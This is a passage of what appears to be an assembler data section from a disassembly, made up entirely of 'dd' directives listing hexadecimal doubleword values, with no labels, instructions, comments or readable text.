		dd 0C67A4104h, 7D048DD4h, 0ED140E60h, 5B49084h,	314779F3h
		dd 65182CB9h, 5B84249h,	0A6203A01h, 0E64084C7h,	0F4870EC1h
		dd 0D06C9433h, 0D49A5A02h, 51CCE10Bh, 0FE288EECh, 20A04D01h
		dd 2631E570h, 2A0BFCh, 63277B03h, 325EBC38h, 61C7B22Eh
		dd 0BD2803Ch, 6ABBB62Fh, 60B894C3h, 86D87A3h, 0B3EBE003h
		dd 7D5E5C71h, 0A0A41818h, 0AA6F70F2h, 4080D8B8h, 0E630B93Ch
		dd 0B385D9AFh, 1808DE0Dh, 0CFA3F90Bh, 3567C0C2h, 0D07CA002h
		dd 11BF71E6h, 0B031FF17h, 60B53069h, 21DC10FAh,	78B03167h
		dd 499A68C1h, 2A0196A9h, 1D6101D3h, 819EF898h, 0C018286Eh
		dd 3940E92Ch, 5BF800BCh, 0DD4DB8B7h, 0F365E021h, 0C4C87B78h
		dd 79102B57h, 2C7A828Ch, 603CEFE8h, 149F80CAh, 0BA16AC20h
		dd 5C40075Eh, 1D600A2Fh, 0E11C095Ah, 0C202D65h,	0C58D77DEh
		dd 0B9116D02h, 5A5195A0h, 5AE3282Ch, 0B0325048h, 28304916h
		dd 64159E89h, 0F592EE6h, 0E82B5260h, 0AE9DF380h, 0B503F77Ch
		dd 0E5512127h, 1B69002h, 0C2EC240Bh, 7CBC1C56h,	1678B370h
		dd 0C4501253h, 0C054C778h, 0E6A29A99h, 0C33841E6h, 5C0A7055h
		dd 447AEDA0h, 0D05AD161h, 2B9174F8h, 7046146h, 0C5547238h
		dd 10C3475h, 5688D308h,	0A65D0801h, 64A22C30h, 0C05CB78h
		dd 0AF8863B6h, 0A08A1029h, 1EE424D2h, 0AE0E30B0h, 34F047D0h
		dd 4C0F211Ah, 0A3301552h, 96213A02h, 999C8843h,	0D24C8108h
		dd 0E1083332h, 7051A15Fh, 10937B1Eh, 829C6F8Eh,	0B04B1EDFh
		dd 0F14F99C4h, 50008C4Dh, 68E266A2h, 19182826h,	12B309B4h
		dd 48B524B6h, 22B791B8h, 9CA9449Ah, 9E129B89h, 0A0489D24h
		dd 0A2229F91h, 89A4D144h, 0E0A613A3h, 3119786h,	0E793C7D5h
		dd 0C1199AD2h, 63B8265Dh, 0B729844Bh, 0AE8A7504h, 761408BAh
		dd 7F0300BCh, 5C4EB22Ah, 0BAE21F30h, 0E451005Fh, 0CBFBCE5Dh
		dd 0A1415E00h, 0B4B87F08h, 0B05C3A3Eh, 0A83C663Ah, 40646E3Ch
		dd 0C2250436h, 5DE5F100h, 0EB01FBD7h, 0BAB4BE5Eh, 48294AEDh
		dd 40FFDAFh, 2325ABFEh,	0B63F14C6h, 0CB13829Fh,	22271971h
		dd 38955D63h, 4384E860h, 0ADCE4429h, 0D346910Ch, 8AB309ACh
		dd 5F041808h, 803E77D5h, 5564D007h, 73E24328h, 0B9383057h
		dd 301ABB21h, 765838A5h, 0AA9F0061h, 0D75F77EFh, 3630A15Bh
		dd 7B871859h, 5EEFAA6h,	6EA5B45Dh, 0DE1C0058h, 2B0592F0h
		dd 7E20770Ah, 574E2823h, 92C1E4A9h, 8C9C26F5h, 312A6641h
		dd 35F0000Bh, 52DCE56Fh, 8C00A45Ah, 10418BC0h, 8213Bh
		dd 0BDA39F36h, 0D50BE3A1h, 20E7E131h, 0C980BA2Fh, 0CC641601h
		dd 7A06A9B8h, 5965D7C8h, 0B65E0030h, 48D3B19Ch,	85003BF5h
		dd 81D02F13h, 764381Eh,	93C4BCC2h, 843410A1h, 3500D7DAh
		dd 0DBE6FAB6h, 30DCE23Bh, 2170DFCDh, 0AE001DA6h, 9672F43Fh
		dd 0E4E83h, 286DB024h, 58ECB829h, 0DB2CA100h, 0A8C2B12Eh
		dd 0EE20392h, 9E7CD9F6h, 5AB0200Ch, 86E19ACh, 0E7FE90E0h
		dd 0E2AB20Fh, 0D9D38232h, 0D421FFB1h, 0D493FC28h, 0C6C0B0B7h
		dd 8E4013B8h, 537F81h, 0B4F876BBh, 2E1E2B8Dh, 360027F0h
		dd 1786B674h, 98A787h, 85539335h, 51566A2Ah, 0B0830A00h
		dd 5F902F96h, 8C08004Dh, 7A1EB784h, 9FA135A4h, 8F63D0B0h
		dd 6A24A607h, 804FC32Eh, 3233A354h, 6B40C07Ch, 3E515D79h
		dd 29AA6F3Ah, 2403403Ch, 0DC7C37h, 84E1E710h, 33B0922Fh
		dd 29304CF1h, 4AA86905h, 1C309338h, 4059A356h, 6E07B735h
		dd 3733A77Dh, 6032A545h, 2A8C8FE1h, 4DC04E2h, 0A493374Bh
		dd 50B58759h, 567F3999h, 320018AEh, 3C98B090h, 2724979h
		dd 1D56B426h, 2CB02E38h, 47E3365Bh, 0D0F840C4h,	4E0A7CE1h
		dd 384AB5B4h, 6247B760h, 157C01E7h, 0A265A92h, 47144A7Bh
		dd 0B62E0040h, 0C262FC7Bh, 7460F84Bh, 7D4D14A4h, 7502F853h
		dd 0BA24F056h, 4689495h, 4B97F0F5h, 84BD5900h, 2A917017h
		dd 0F12E0046h, 4C794D37h, 93266533h, 620434A8h,	0D735ADh
		dd 0F0803847h, 7AD32937h, 989256h, 9FA53DEFh, 538A4E73h
		dd 40634D26h, 2870331Dh, 1379F4B8h, 256236B5h, 7B6C0F20h
		dd 32DC9023h, 3D500864h, 3296748Ch, 2991FC75h, 485B446h
		dd 86BA627Fh, 5A743040h, 63C93405h, 90922431h, 24404CD7h
		dd 0E5837E7h, 8FA32501h, 0B4CB515Fh, 313E89C1h,	0D2F420D0h
		dd 0A314EF0h, 83394092h, 1C9C030h, 6699D97Ah, 0B0274CCEh
		dd 93641008h, 0F36D24FBh, 3B2000B0h, 3734568Fh,	275D871Dh
		dd 0D809B51Eh, 59A0013Ah, 108C7A32h, 34607666h,	6AC8F48h
		dd 4D5DCE65h, 35011888h, 6BD84031h, 1B607D3Ah, 0EF3091F3h
		dd 344ADC81h, 90C92700h, 0A1C76078h, 31C03821h,	0B753C36h
		dd 0B43E2553h, 41F181Ah, 40F82955h, 3B51317Dh, 0D4B9CE78h
		dd 497CFB81h, 6066C924h, 5BCA0076h, 0CE364EA3h,	37492156h
		dd 1870D2B8h, 908A6132h, 1C3B4CF0h, 7A3ACC58h, 93394C00h
		dd 7808D7A7h, 7DF89AF8h, 7C205D2Ch, 37291E3Ch, 0AC4E21Dh
		dd 0C08FE774h, 0EBF895AFh, 824B605h, 16C4817Ch,	3B21F074h
		dd 0C4E49359h, 0CD8A6CEh, 0FC98B060h, 3AAD7C7Eh, 0D8489366h
		dd 0C6288C37h, 0C49A2079h, 3108354Ch, 275609A4h, 0E44AC461h
		dd 3869DC4Ch, 0C8A8C0A0h, 20B86521h, 833C5213h,	6936100Ch
		dd 3A7D7C66h, 562E3D28h
		dd 384B4220h, 3C902C96h, 79C9EFF9h, 34D8A45Dh, 402EF21Fh
		dd 7E09D802h, 0E63CE3A8h, 80FB62B0h, 18922F96h,	8AA55040h
		dd 46A0B752h, 63FCEF04h, 4E99B50Bh, 484645Dh, 0ADA6648Ah
		dd 7C3C39B7h, 0AAF11842h, 5DC86027h, 9364310Bh,	0D85047A7h
		dd 9605B05Ah, 245D8332h, 87A7D880h, 564B838h, 0E2933D4Dh
		dd 0CC405625h, 50A084F8h, 9101E7C9h, 5673CA80h,	20703C36h
		dd 8F310134h, 93C924A5h, 2443C49h, 7D3233A6h, 0E978E4A7h
		dd 0E1C1D468h, 0E47A2F83h, 8F036359h, 7B3B2753h, 5C65C1B0h
		dd 2E328C70h, 0E70A387h, 1BCE84CEh, 9C94908Fh, 65065058h
		dd 204CDC76h, 66EFB01Fh, 8426A4CFh, 50F45A8Fh, 0C1C89625h
		dd 857E12B8h, 87691868h, 803AE0C7h, 0BB343714h,	0EC856E25h
		dd 4250F766h, 5F92F834h, 1190285Ah, 23A78714h, 7A0100F0h
		dd 85E46F1Ah, 5A900138h, 0D9A5C936h, 26218021h,	25537A61h
		dd 0DC830408h, 0E1CE3B4Bh, 0E0D9D230h, 8E7299Eh, 106A3880h
		dd 3979F5Fh, 18345387h,	89FAE87Ch, 60C728D7h, 42900F42h
		dd 52DC011Ch, 0A0683220h, 5DA62F01h, 0D08A0A36h, 744E3C4Dh
		dd 0E071B817h, 0C441852Eh, 18A2E469h, 0CE1F278Ch, 0DC8CF830h
		dd 39354A3Eh, 88C5FC91h, 0DC143836h, 3169068Ch,	7840654Ah
		dd 0A6403C4Ch, 5920813h, 5ECA04h, 0B07A0A80h, 9B67D08Bh
		dd 0F08A3B20h, 3360CE98h, 33A15F7Dh, 280DB4DCh,	18AFCE3Eh
		dd 7932C811h, 5814D844h, 0C4ABC4DCh, 308260B5h,	0CA8C4C90h
		dd 0A402D4D1h, 41923927h, 0F44D0A44h, 0D2936429h, 204283F0h
		dd 9A0E3070h, 0EFDC5CCAh, 4BA48065h, 50A35BC9h,	6BA7F026h
		dd 18978824h, 47FE0F7h,	0C1392E31h, 80CD9Fh, 7C068BB3h
		dd 0EED925Bh, 0F06A93C4h, 1421309Ch, 0BFEC0663h, 0F6ED5400h
		dd 4F1FADDCh, 20330052h, 0DBACD175h, 0CDFC1AB8h, 7C0269C1h
		dd 1CCC8EE9h, 44AA1FF5h, 0C77AFA84h, 6F92C321h,	0BFCE0F20h
		dd 0F97B7C10h, 0C2FEAF00h, 0B8DE6E51h, 728A418h, 7C58E852h
		dd 0F264B82Ch, 0E9888540h, 0EF0C7DE3h, 19FF0F83h, 153D0093h
		dd 8931ADB4h, 50065B4Fh, 0C4176BA8h, 35E107B8h,	101829D2h
		dd 0B8CFB1FCh, 919F5F0Ch, 280C8896h, 384D65Ch, 1BC35641h
		dd 7898D470h, 9B3979BEh, 629E01CFh, 0D7AE46A9h,	5E2E2180h
		dd 9591A8Fh, 6D0820A7h,	294DC07Ah, 0C328595Eh, 0D800D82Ah
		dd 40ACE942h, 66CDCA15h, 21D20939h, 0E91A7800h,	8C06C72Bh
		dd 30A70F44h, 34245D6h,	0A4A0FF2Eh, 9DC439E2h, 0EAEFD01Ch
		dd 4B6B2C00h, 7643551Ah, 6FCF30AEh, 0A96D61B0h,	8E5433FCh
		dd 0D801348Ch, 0EAEEB65Eh, 0A853C53Fh, 37AD8849h, 0EDC204C8h
		dd 104FB5DAh, 24E09E1Ch, 80202AAFh, 0E7A84B5Ch,	0CA03ACD7h
		dd 61864214h, 0C608C9B1h, 41F2599Fh, 52F01C22h,	8D04D0A8h
		dd 5314B14h, 3C85238Ch,	40C1E984h, 25D3626Dh, 5D820083h
		dd 44AC7E07h, 18D51603h, 9BDDD465h, 9ED00411h, 8AAED212h
		dd 69998804h, 87ED8C48h, 6C14F400h, 7C3E2DD4h, 401CAC42h
		dd 30B9A297h, 5B781405h, 0A56AF870h, 9C22E3DEh,	5030FFF2h
		dd 0F01F0669h, 0C0C55C1Bh, 51F87E1Eh, 8909C0Ah,	18280A07h
		dd 0A98FA26h, 0C3CB4FEFh, 468701F8h, 20B3A7E9h,	7C122AB8h
		dd 607247FCh, 0C480DD3h, 0A3498164h, 28D5E27Ch,	0F15AC198h
		dd 18F00D6Bh, 992866F4h, 0B829A8EAh, 0FC080804h, 7A4712B3h
		dd 3E541154h, 0A44BF287h, 0EFFA03BBh, 0F3D903D0h, 0DB14828h
		dd 90F67028h, 0D246FA1Ah, 0CEB98621h, 0F3FB0159h, 0F505329Bh
		dd 905020A8h, 0E37FA71Ah, 0DC0482A0h, 0AF6422CFh, 0C8C3B482h
		dd 88EC7B20h, 8038DF19h, 0B8E1969Ah, 0A0303350h, 4948988Dh
		dd 0B03949FFh, 202804E2h, 7C4CD271h, 9B2E742Fh,	65F00F8h
		dd 0F0725B80h, 68054486h, 2B0D5700h, 889B8236h,	0AC112850h
		dd 0E1913CB0h, 78AAB218h, 0A900CF13h, 0DE924306h, 600A3BBDh
		dd 0AB2B08DFh, 0D200FF12h, 609820DBh, 1F2C6E59h, 0DD1424h
		dd 0B36BAB92h, 0D800F8AAh, 9C1DD53Dh, 39D1817h,	0CD93D9B1h
		dd 48A60409h, 686D5F03h, 887FB6B2h, 0E54F7EDEh,	218029D1h
		dd 696865FDh, 5F004CB3h, 9B963332h, 1897714Dh, 5827C825h
		dd 7401B08Ah, 0ECBA3AE2h, 8987EB31h, 907C0166h,	6EF75B7Dh
		dd 8A8E1300h, 9E3DD990h, 6D4311Dh, 88495940h, 0F332450h
		dd 750F6F05h, 6B103A6Ch, 39D6BB30h, 2AADAB71h, 1840F57h
		dd 0E520C432h, 4CBF3692h, 5B882E94h, 322000C3h,	50F814C5h
		dd 0F00CA7C6h, 0AC611A7Bh, 4C3B00B5h, 222A75EBh, 5DEED679h
		dd 9001FB7Bh, 2598ECDCh, 0E9892F80h, 0CE01593Eh, 87A6FBEDh
		dd 67C79260h, 41C13FB0h, 24E801B0h, 32F9990Eh, 0B28450F1h
		dd 513C9543h, 397F8716h, 61A19641h, 0C830CAD8h,	62B600BFh
		dd 0C5457AC1h, 3803D9A9h, 4F5FAA15h, 8D880139h,	335C25ABh
		dd 56108C42h, 1E30E111h, 803B97C5h, 7174A567h, 0DA1523A4h
		dd 80F4DB93h, 0B778686Bh, 227E434Fh, 63BF012Ah,	9226F85Fh
		dd 817F311Dh, 957DDAF0h, 9080C9DDh, 0E38CD4E8h,	0CF01CAB2h
		dd 0A2E176A3h, 0CC417F66h, 38E16D94h, 0F2ABE850h, 1CF4A589h
		dd 33660578h, 0F28C40DEh, 6AD5D0E2h, 9F2FD406h,	6F08FC93h
		dd 0EA2021E9h, 0C466E4D0h, 19A06A07h, 0E1CD9163h, 686230CAh
		dd 57B6A911h, 0C2802888h, 0EAB25F5Ah, 0C32C00DAh, 581C4CA9h
		dd 7360B6BBh, 0C42592A8h, 9D173EFFh, 725630FCh,	6C275718h
		dd 0BC2F3B28h, 96F2D704h, 50836728h, 9300DC81h,	80661665h
		dd 0D51584AEh, 6D415B8h, 36C01E39h, 0BB573B18h,	3D01B8D8h
		dd 0D93E1C2h, 0EEDC49C9h, 0A7C46831h, 7F6721B6h, 0C4002691h
		dd 34956860h, 99096AA0h, 27A5FBD5h, 0CDA0AC4Ch,	1E71A3ECh
		dd 406C18FDh, 0E153B18Dh, 826176BAh, 0EF3374E0h, 427B850h
		dd 943A00EDh, 96DC2DAFh, 6A0F6EC2h, 0E173134Bh,	5D1E3FC3h
		dd 124C34FCh, 4E4A9B7h,	1D188C18h, 30F37B89h, 275FDA0h
		dd 96172D10h, 2440E7E5h, 3D02EEB3h, 56B060EDh, 9490A01Ah
		dd 98A503h, 26EBE27Dh, 52969EA2h, 2E48F909h, 1D00E19h
		dd 4C9C01Dh, 0F2282433h, 776C0078h, 0A6BCF7C7h,	24023BD3h
		dd 0AFFE1CF6h, 0F2B89854h, 0FD31C19Bh, 0EC52D3D6h, 271E9AEFh
		dd 1D008939h, 936B950Bh, 0AB57125Ah, 0E80458E2h, 0B805F1Ch
		dd 9CC0A82Fh, 0EF720136h, 438C0CE6h, 32F6FC91h,	0EF83B00h
		dd 514EB6E5h, 5DF8CAB9h, 0C2FC648Ch, 0D630AF64h, 92E30820h
		dd 5558BDC6h, 292000CDh, 0D79B221Ah, 0C50EA579h, 3B29EE7h
		dd 0D411248Eh, 0EFC8B08Bh, 0B74498C0h, 0DD81314Eh, 214CA4A8h
		dd 18A8A684h, 7480BC11h, 7B6B368h, 0C027448Ch, 8C686C00h
		dd 2DCAD413h, 0A59613B3h, 1868259Bh, 0DA445820h, 0A412B026h
		dd 8B079F11h, 0B07440A4h, 2A0F1C8Fh, 8EE81BFAh,	0ABDD21C1h
		dd 0F17EA740h, 8CA1F6D0h, 0F8B8AEE3h, 0B6E80331h, 0EF59961Bh
		dd 0C764F870h, 644C8226h, 0B6D4CC0Ch, 0C04116h,	629B0B2Ch
		dd 0E38E11B3h, 0DCB01F28h, 30C97990h, 243830C4h, 0ABDD4027h
		dd 0E6A2EB09h, 3C749494h, 7D2AB8B2h, 4CA02FCh, 0B0AB786Fh
		dd 20C1F8B0h, 0CE92EA10h, 20D9C8E0h, 0AEAA1C01h, 76EB7DF6h
		dd 0F948CA40h, 160F304Eh, 0ACDA7ED8h, 2A478603h, 41275C12h
		dd 30CADC19h, 0A63A6861h, 2C22C6B6h, 0F059C13Eh, 7723DB1Dh
		dd 71BEBB82h, 420EED9h,	91A6B98Dh, 41E490C1h, 0AF02AC98h
		dd 55F27F7Dh, 8D60C035h
		dd 4C1280E1h, 0B2F89354h, 338A0491h, 0A98EA0E2h, 4B7900A8h
		dd 40C0E3h, 0B1EC4183h,	11FB53BAh, 3D57641Ah, 0C8B30A40h
		dd 0B4914A0Ah, 695D424h, 5044C0ECh, 0DC70C32h, 0F31D4EB8h
		dd 9D49E5A9h, 0F6975818h, 1F248C43h, 0B2891DF3h, 0BCEA57h
		dd 1C85802Dh, 99D4C572h, 0B4CC4500h, 7CC1B62Eh,	3E330013h
		dd 8448E756h, 3A2405CEh, 2C110CAh, 710D532h, 0FE3D4B34h
		dd 3C4187CDh, 88A02CD7h, 4CF2AC71h, 0DE8F5C94h,	34237FE1h
		dd 3B0AF053h, 0C664A504h, 2C98E522h, 5C8148D5h,	2798C180h
		dd 94137D28h, 58007A45h, 44A8878Ah, 70A31246h, 9674022Fh
		dd 8481EBD5h, 26F112B1h, 40A80FB8h, 1BAF6468h, 0E9278232h
		dd 9B6740C0h, 0A1A004B7h, 902EF804h, 853D4618h,	6194D103h
		dd 98FEC62Fh, 0B027B9Dh, 7E897F8Ah, 0D8AC1CB1h,	300125C1h
		dd 75B77BEAh, 3047B6h, 0A96F8CF4h, 48A76A70h, 0E8408144h
		dd 5C240B0h, 0AAE5B40Eh, 0AF89C074h, 302353DEh,	0DC298FFBh
		dd 50003586h, 741C5E9h,	34D6B4h, 0CC38748Ah, 0A98CE5EAh
		dd 70590A00h, 0A583877Dh, 80BCB944h, 0BD62022Ah, 609B77E9h
		dd 6D58943Ch, 267638B4h, 0E8C0B460h, 466AD7D0h,	0E722E4h
		dd 32D0F0A1h, 9AF2D437h, 535D907h, 9E4313E1h, 12B9718Ch
		dd 0F31A75Fh, 61896078h, 8ECC8AAh, 0B60289DBh, 0C5E805AEh
		dd 9FA1728h, 0A040E460h, 7217D78Ah, 283A5539h, 23002923h
		dd 4A0B0E16h, 0D8640302h, 0C1D1B97Bh, 905687A0h, 0C7780548h
		dd 1AABF4BAh, 0DAD460B0h, 0D4DB5C88h, 2C0ADE02h, 0DC407182h
		dd 4941494h, 0E5856591h, 0CCF2C2D0h, 9C600451h,	154D0EDh
		dd 0A2962CEh, 284DFCE2h, 0F2CB80B0h, 0C5EC44h, 66E66C39h
		dd 72419B37h, 43881400h, 2598B6FEh, 80166404h, 0DF1CD8A8h
		dd 0BC9C7758h, 96008CE6h, 0A574508Dh, 1A66F71h,	0F7DC89F6h
		dd 70351BB8h, 54BB1290h, 9D009A11h, 710462B3h, 5B00DC4Ah
		dd 0E4505CF8h, 2530D457h, 0F4102642h, 0A4A08DB8h, 0F5124EB9h
		dd 8443C11h, 0DD0116A7h, 29022D54h, 63D099D4h, 0D00AE718h
		dd 0B0FC6AC2h, 3FEFD270h, 9D8015D0h, 0A45DD3E6h, 5C181159h
		dd 0D7681BB3h, 8BD001BCh, 2D760F40h, 4AD42C25h,	4AD5E838h
		dd 377C417Eh, 803CE976h, 0B76A6F31h, 6FBEA2DEh,	0D0183880h
		dd 168018B3h, 0BB4D309Eh, 54442BC8h, 0FA58A3Eh,	5C1F23FFh
		dd 0DA165424h, 108F281Fh, 6CC65C35h, 5C401AFFh,	0B123ACEFh
		dd 0E920C001h, 2518D692h, 0CF4F88h, 5BBA4520h, 338AD904h
		dd 3700F0B1h, 0A2AF36A4h, 0D9808D7h, 0A8162950h, 97B1B00Bh
		dd 2C6BB60h, 1F4C11CFh,	4ED4C43Bh, 0A7984032h, 8AEB4ACh
		dd 8EE88D0Eh, 73B6C405h, 4993F206h, 0E96EDB01h,	0B80B08E7h
		dd 4BE41DE0h, 0FABC4417h, 0A471038Dh, 7072C156h, 0DC225C72h
		dd 75AA4505h, 0D881895Bh, 3301CA95h, 2F2180D6h,	5FA149EAh
		dd 0DE121266h, 4A616FDh, 23877A8h, 720D94E9h, 8AEB1214h
		dd 9894836Ah, 8F5956A8h, 3B457518h, 0E4CE1220h,	6F442628h
		dd 7EFF8170h, 9FF0A282h, 0E82E1830h, 0ED96BA83h, 269004B7h
		dd 80C02A64h, 0D7DF4400h, 4E81790Bh, 0ABACA059h, 29632D8Eh
		dd 0C22019D8h, 0B930C337h, 84B05888h, 8C96BCh, 94F9B34Bh
		dd 0B5E3D1A3h, 587C0A74h, 1DB49813h, 0C2601889h, 303B3054h
		dd 6D911FE8h, 8415A128h, 4AD7B300h, 92B12BA3h, 2412475h
		dd 348252A4h, 147338BCh, 104ACA4h, 0B7019AC0h, 8FF26DC6h
		dd 5F58DBE8h, 8328F41Ah, 9C3AE2C4h, 16830880h, 0AADC8089h
		dd 3BA06E49h, 191E30C1h, 0B96FA86Bh, 0C6B202B4h, 0AC48DF9Bh
		dd 0D8A8E744h, 7CB194EDh, 618EFD9h, 4EB78605h, 0CC42D5B9h
		dd 116355Ch, 0D09F0B80h, 0E0309634h, 182B3811h,	331DFCC5h
		dd 13C83B3Eh, 6C785126h, 7EC465Eh, 0F2089690h, 8080E84Ah
		dd 5752AD3Dh, 8A4009E1h, 2C015DB4h, 3C106Dh, 9ACBBAD5h
		dd 1E113E10h, 610E1C59h, 0D480B083h, 5F94933Dh,	99C1B59h
		dd 2AED9E1Ch, 45BD74A4h, 54325C21h, 0DB485902h,	6050C01Dh
		dd 0D8C191D3h, 0C8409FB2h, 4A262775h, 485258h, 0A9801BFDh
		dd 4B004C3Eh, 9E02B7Eh,	3F34090h, 0BA7FA0BFh, 31001856h
		dd 0DDDF274Bh, 19888F4h, 0B3462B5Fh, 243D9E0Eh,	1E03AD9Ch
		dd 621F243Ch, 60C0503Bh, 89904122h, 6D70FFD1h, 674C6058h
		dd 0A475E056h, 0C1079BFEh, 84D4BC74h, 7F2080ABh, 17698CEAh
		dd 10A14E80h, 2B88B880h, 9820F193h, 2F947Fh, 44E669F5h
		dd 9CD45B48h, 0E4B95D00h, 21DBD78Bh, 27DC4B79h,	4E161150h
		dd 5C20EA91h, 0B3FEFE9h, 90F68AD1h, 489E544Eh, 13200DCh
		dd 755E6264h, 0AC098E25h, 26BC048h, 5B33A798h, 0FD2B8078h
		dd 0F95A9345h, 1FB03654h, 88D9D800h, 0A507BDACh, 0AA0F30D7h
		dd 0C44C53F8h, 6070C026h, 9DA5A31Eh, 812991E8h,	6D354E5Eh
		dd 387CD7E8h, 8AB24788h, 2860F050h, 0E541DE32h,	0FC4F5860h
		dd 704187Fh, 0D815C0BDh, 2C441280h, 8BB034CFh, 0F882BEC5h
		dd 8442AAB8h, 21796471h, 9A078818h, 224EB70h, 0D9D9A3C2h
		dd 18297158h, 105500ACh, 2776F89Bh, 9A261ABDh, 0C60830D4h
		dd 92EF038Ch, 0D0EC3C15h, 0AB1EAEB4h, 0FCBD7380h, 1250057h
		dd 28694D59h, 0F248341Fh, 0C3D98E40h, 0F803BD37h, 0ADDA47h
		dd 0E04650C3h, 2E8A2B52h, 80967D28h, 99C380ECh,	78B110D9h
		dd 49B36008h, 0DBB542Bh, 63989C50h, 106CA425h, 231496E8h
		dd 0FC813513h, 8EA50C7Bh, 0C83CABD9h, 95962C52h, 0B6B60E18h
		dd 6C745E96h, 31131840h, 0F618328Ah, 0D5A00D21h, 34574980h
		dd 2016973Dh, 3A402731h, 6D9285E8h, 93DC9065h, 8D163367h
		dd 0F804F0FEh, 0E0A43954h, 2324359h, 6AC0D0E9h,	10BB31ECh
		dd 0D0F1A0h, 0DB36F6A1h, 5434D791h, 2DF9430Ah, 88169C8Ah
		dd 9A56A04h, 8262D083h,	3897291Dh, 3C81ED11h, 0E1A320D1h
		dd 42C296Ch, 0C8499EB8h, 2CDD84E4h, 0E683C98h, 5F12924h
		dd 8BCA8ACBh, 8975C491h, 0E5788EC2h, 0B8062210h, 1F08407Ah
		dd 954858BDh, 0A7AC54ABh, 5C0A170Eh, 0E0B24A25h, 0F5AEB682h
		dd 77ECC9DEh, 2C486CC1h, 0CBD008E4h, 0EEC4C46Ah, 0D0EC9D40h
		dd 330047CEh, 458FEB04h, 0A1DFBDA5h, 7C76F07Ch,	73403D7Eh
		dd 581687A5h, 40ACCC03h, 38F03223h, 378F0761h, 2CA79D66h
		dd 0EE40D073h, 16E6CE99h, 84010CE0h, 0BAE2AB8Bh, 2465A99Bh
		dd 21B8D878h, 6150008Ch, 1B4AB15Fh, 0AEFC5984h,	34428C4Bh
		dd 581E895Eh, 627C0A28h, 16C44A1Fh, 0F98430ADh,	5E3B2160h
		dd 89A53C2Ah, 1B21CD7h,	735FAACCh, 1F0FA02Ch, 0B681CB6Ah
		dd 0D8259Eh, 57419CAh, 1EB728EDh, 5AF04470h, 0D0E63032h
		dd 0F46A2EC1h, 0EED3707Ch, 2C34D001h, 79A25435h, 38CDC5C0h
		dd 10CD7791h, 23602E5Eh, 44A30322h, 67A8B8A1h, 0BE30BAE0h
		dd 4F93F85Ch, 940214FFh, 712490D0h, 0B2D985A0h,	639C40A6h
		dd 24375412h, 1944F8C9h, 2022330Ch, 7BD46700h, 4CE4404Dh
		dd 12B70200h, 0AA24AD9Ch, 0F9D7B59h, 559BBBB1h,	691F99D8h
		dd 4860C21Eh, 0B35F183Eh, 5AC6BA19h, 26C0016Dh,	2101AA4Ch
		dd 0A2F42370h, 86C1322Dh, 479420D7h, 0F024B556h, 0B0D8BCEFh
		dd 0CB920778h, 83A7182Ah, 504CD7F9h, 115A0908h,	72380243h
		dd 7C0909A8h, 0BAE45CC7h, 0D339AE60h, 56060D16h, 0A05560C2h
		dd 0EAB359D0h, 5C588270h, 0C1ECB816h, 8095B008h, 0DDA052C6h
		dd 0F4013C0Ah, 0C19F7874h
		dd 0B82DF682h, 96268C40h, 84868C18h, 0A9207519h, 78A24D29h
		dd 0CE06613Dh, 70FE34A3h, 0A840D0D8h, 0B2D58001h, 0F1898C9Ch
		dd 8F04A799h, 1B3540A0h, 4831007Dh, 0EF762853h,	6B0C3F7Ah
		dd 3077BD65h, 0B493888Ch, 949B1F02h, 0C4C544C8h, 41D89C70h
		dd 0C80F588Ch, 5F002EF4h, 70278051h, 0A9F59DCh,	9ACA6FF1h
		dd 3B6808BCh, 465CC04Ah, 467900E8h, 93FB8D7Fh, 0CCF13456h
		dd 0F0B221h, 450AF9B7h,	5024F6FDh, 14D10C1Fh, 0A4A7EE82h
		dd 53106204h, 0E268E347h, 72903F72h, 245457BCh,	950FCBD8h
		dd 791FA36h, 0D6A07E39h, 5782383h, 0D8B97DB5h, 0C8008BB0h
		dd 0C727C08Dh, 5315B8B3h, 90EA32h, 8C79011Bh, 0B88E9C20h
		dd 0E6BF4438h, 0E8121DE4h, 0DCC81838h, 0C432490Bh, 94CB037Eh
		dd 6B56DB2Eh, 799F55E8h, 7F962B00h, 7BCF7DF4h, 5B0B1763h
		dd 0F37C04E4h, 0F0B73822h, 0B39CA8BDh, 5697C2Eh, 5E8E136Bh
		dd 4C48A781h, 80BC5014h, 85941A48h, 0C8D5AECCh,	8C4878F3h
		dd 205E5Fh, 1018CC52h, 9627B5FBh, 0DB8C0030h, 279D7404h
		dd 0B401F91Dh, 21CB817Ch, 8082E295h, 5303350h, 66E4FAEh
		dd 19A436CCh, 3ADB280Ch, 4FBB9A80h, 8AF40962h, 10A6C011h
		dd 0D2575Eh, 75DC2894h,	93C154ECh, 34200C5Fh, 52131Ch
		dd 90F30E59h, 0E3AF649Eh, 0F235151Fh, 0FF097642h, 385C401Ch
		dd 7EC9196h, 3C0F4410h,	4B2556F8h, 500C2281h, 10787238h
		dd 88D9A5BAh, 0B9F0808Eh, 96B37B90h, 355C10F6h,	8C82EC30h
		dd 2EE7D00h, 6B86B5E9h,	71BE608Bh, 2F541063h, 2BA02B6Fh
		dd 46B8848Ah, 0C840CA25h, 3C53C0E7h, 0A400AD20h, 0CFC390EEh
		dd 289EBA07h, 25F8E215h, 0D4404D94h, 1301EFB2h,	73E5DF3Ch
		dd 74602A10h, 7B472488h, 0C9FD6214h, 41221002h,	84514548h
		dd 90625794h, 0B1238E00h, 0C4F48205h, 165DEA12h, 6053380Bh
		dd 244EB86Ch, 8E6CE5B1h, 603B2F6Ch, 0EF9DA6E0h,	468D989Eh
		dd 29F03106h, 18B1DFC0h, 0AEBA693Eh, 8B4F171h, 8A36B385h
		dd 1E32A401h, 802D14C8h, 4C738610h, 7A1E6910h, 0AD9B24B0h
		dd 0A7F20988h, 61E0FC93h, 6550B51Dh, 1A24B8C0h,	0D609ACE7h
		dd 0B7C034Ah, 0CE81073Ch, 1443E6h, 0BA35D56Dh, 0A1DB2A04h
		dd 68901E57h, 7CD079A8h, 7796004Ah, 0F206929Dh,	0E7E1721h
		dd 0C0208B97h, 480C12C4h, 0DA4A2836h, 37CCC010h, 2E27F7Dh
		dd 32F1045Fh, 0DC68EC26h, 0F091457Bh, 40A2B192h, 0D307CE2h
		dd 55ED24F6h, 59641894h, 8D5EB97Ch, 2C289808h, 383CDE50h
		dd 27332F8Bh, 13B05A08h, 7E15792Dh, 7FAC00C1h, 0E9A58DE5h
		dd 73889DF2h, 5CB07DE1h, 82101CF9h, 75187CAEh, 59A03789h
		dd 0D45A4C76h, 4640EF10h, 56B705B4h, 78CCD283h,	6B314030h
		dd 7C644EF8h, 54A8F218h, 5CADFE80h, 0B61A9B5Eh,	3D481696h
		dd 6B220FA8h, 90E4A02Bh, 0F1617200h, 0C84F6074h, 248F007Eh
